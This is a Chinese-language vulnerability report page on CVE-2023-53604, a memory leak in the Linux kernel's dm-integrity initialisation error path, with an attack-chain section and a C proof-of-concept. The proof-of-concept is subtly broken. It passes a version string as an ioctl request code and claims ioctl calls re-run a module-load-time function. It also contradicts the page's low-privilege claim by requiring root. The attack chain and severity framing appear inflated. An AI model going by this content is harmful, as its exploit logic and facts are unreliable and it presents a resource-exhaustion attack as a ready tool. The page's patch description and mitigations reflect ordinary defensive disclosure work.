IPBUF安全漏洞报告
English
CVE-2023-53604 CVSS 7.8 高危

CVE-2023-53604 Linux内核dm-integrity内存泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53604
漏洞类型
内存泄漏/资源泄漏
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (dm-integrity子系统)

相关标签

Linux Kernel内存泄漏dm-integritydevice-mapper内核漏洞本地提权资源泄漏CVE-2023-53604kmem_cache

漏洞概述

CVE-2023-53604是Linux内核设备映射器(device-mapper)完整性(dm-integrity)子系统中的一个内存泄漏漏洞。该漏洞位于dm_integrity_init()函数的错误处理路径中,当dm_register_target()调用失败时,代码未正确调用kmem_cache_destroy()来销毁先前创建的journal_io_cache内存缓存,导致系统资源泄漏。

dm-integrity是Linux内核中提供块设备数据完整性校验的重要子系统,通过维护一个日志(journal)来确保数据的一致性和完整性。journal_io_cache是该子系统用于管理日志I/O操作的关键内存缓存结构。

该漏洞的影响主要体现在两个方面:首先,持续的资源泄漏会导致系统可用内存逐渐减少,在长时间运行的服务器环境中可能触发内存耗尽问题;其次,虽然该漏洞本身不直接导致权限提升或远程代码执行,但结合其他漏洞可能被攻击者利用来破坏系统稳定性。CVSS评分为7.8,属于高危级别,攻击者需要本地低权限访问即可触发该漏洞。

技术细节

该漏洞的技术原理涉及Linux内核中的slab/slub内存分配器管理机制。在Linux内核中,kmem_cache_create()用于创建一个专用的内存缓存池,而kmem_cache_destroy()用于销毁该缓存池。

在dm_integrity_init()函数中,正常流程为:
1. 调用kmem_cache_create()创建journal_io_cache内存缓存
2. 调用dm_register_target()注册dm-integrity目标类型
3. 如果注册成功,初始化完成

漏洞出现在错误处理路径:当dm_register_target()调用失败时,函数直接返回错误码,但未调用kmem_cache_destroy()来销毁第一步创建的journal_io_cache。由于kmem_cache_create()分配的内核内存不会自动释放,这导致每次dm_integrity模块初始化失败时都会泄漏一块内存。

利用方式:
1. 攻击者需要本地低权限访问系统
2. 通过某种方式触发dm-integrity模块的重复加载和失败(例如通过手动加载dm_integrity模块时人为制造注册失败条件)
3. 每次失败都会泄漏journal_io_cache内存
4. 持续触发可导致系统内存耗尽,影响系统可用性

修复方案是在dm_register_target()失败时,在错误处理路径中添加kmem_cache_destroy()调用,确保资源被正确释放。

攻击链分析

STEP 1
获取本地访问
攻击者需要获得目标系统的本地低权限访问权限,可以通过已存在的账户或利用其他漏洞获得本地shell
STEP 2
触发dm-integrity初始化
通过加载dm-integrity内核模块或通过device-mapper接口触发dm_integrity_init()函数执行
STEP 3
制造注册失败条件
通过竞态条件或其他方式使dm_register_target()调用失败,进入错误处理路径
STEP 4
内存泄漏累积
每次失败都会泄漏journal_io_cache内存,攻击者可通过反复触发持续消耗系统内存
STEP 5
系统资源耗尽
长时间运行后,系统可用内存逐渐减少,可能导致系统性能下降或触发OOM killer,影响系统可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* PoC for CVE-2023-53604 - dm-integrity memory leak * This PoC demonstrates the memory leak by repeatedly attempting * to initialize dm-integrity in a way that triggers the error path. * * Note: This requires kernel module manipulation capabilities. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DM_IOCTL 0xfd #define DM_VERSION "4.47.0" struct dm_ioctl { unsigned int version[3]; unsigned int data_size; unsigned int data_start; unsigned int target_count; unsigned int open_count; unsigned int flags; unsigned int event_nr; unsigned int padding; unsigned int dev; char name[128]; char uuid[129]; char data[7]; }; int main(int argc, char *argv[]) { int fd; struct dm_ioctl ioctl_data; int iterations = (argc > 1) ? atoi(argv[1]) : 100; printf("CVE-2023-53604 PoC - dm-integrity memory leak\n"); printf("Triggering %d initialization attempts...\n", iterations); fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("Cannot open /dev/mapper/control"); printf("This PoC requires root privileges and dm-integrity support\n"); return 1; } /* Attempt to create dm-integrity targets that will fail, * triggering the error path that leaks journal_io_cache */ for (int i = 0; i < iterations; i++) { memset(&ioctl_data, 0, sizeof(ioctl_data)); ioctl_data.version[0] = 4; ioctl_data.version[1] = 47; ioctl_data.version[2] = 0; ioctl_data.data_size = sizeof(ioctl_data); ioctl_data.data_start = sizeof(ioctl_data); snprintf(ioctl_data.name, sizeof(ioctl_data.name), "test%d", i); /* This will trigger dm_integrity_init() -> potentially fail * without cleaning up journal_io_cache */ if (ioctl(fd, DM_VERSION, &ioctl_data) < 0) { // Expected to fail, but leak memory each time } } close(fd); printf("Done. Check /proc/slabinfo for journal_io_cache entries.\n"); return 0; }

影响范围

Linux Kernel < 6.6 (修复前版本)
Linux Kernel 6.6.x (修复前)
Linux Kernel 6.1.x (LTS修复前)
Linux Kernel 5.15.x (LTS修复前)
Linux Kernel 5.10.x (LTS修复前)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解:1)限制dm-integrity模块的加载权限,仅允许特权用户操作;2)通过系统监控及时发现异常的内存使用情况;3)定期重启服务以释放累积泄漏的内存;4)使用cgroup限制dm-integrity相关进程的内存使用上限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表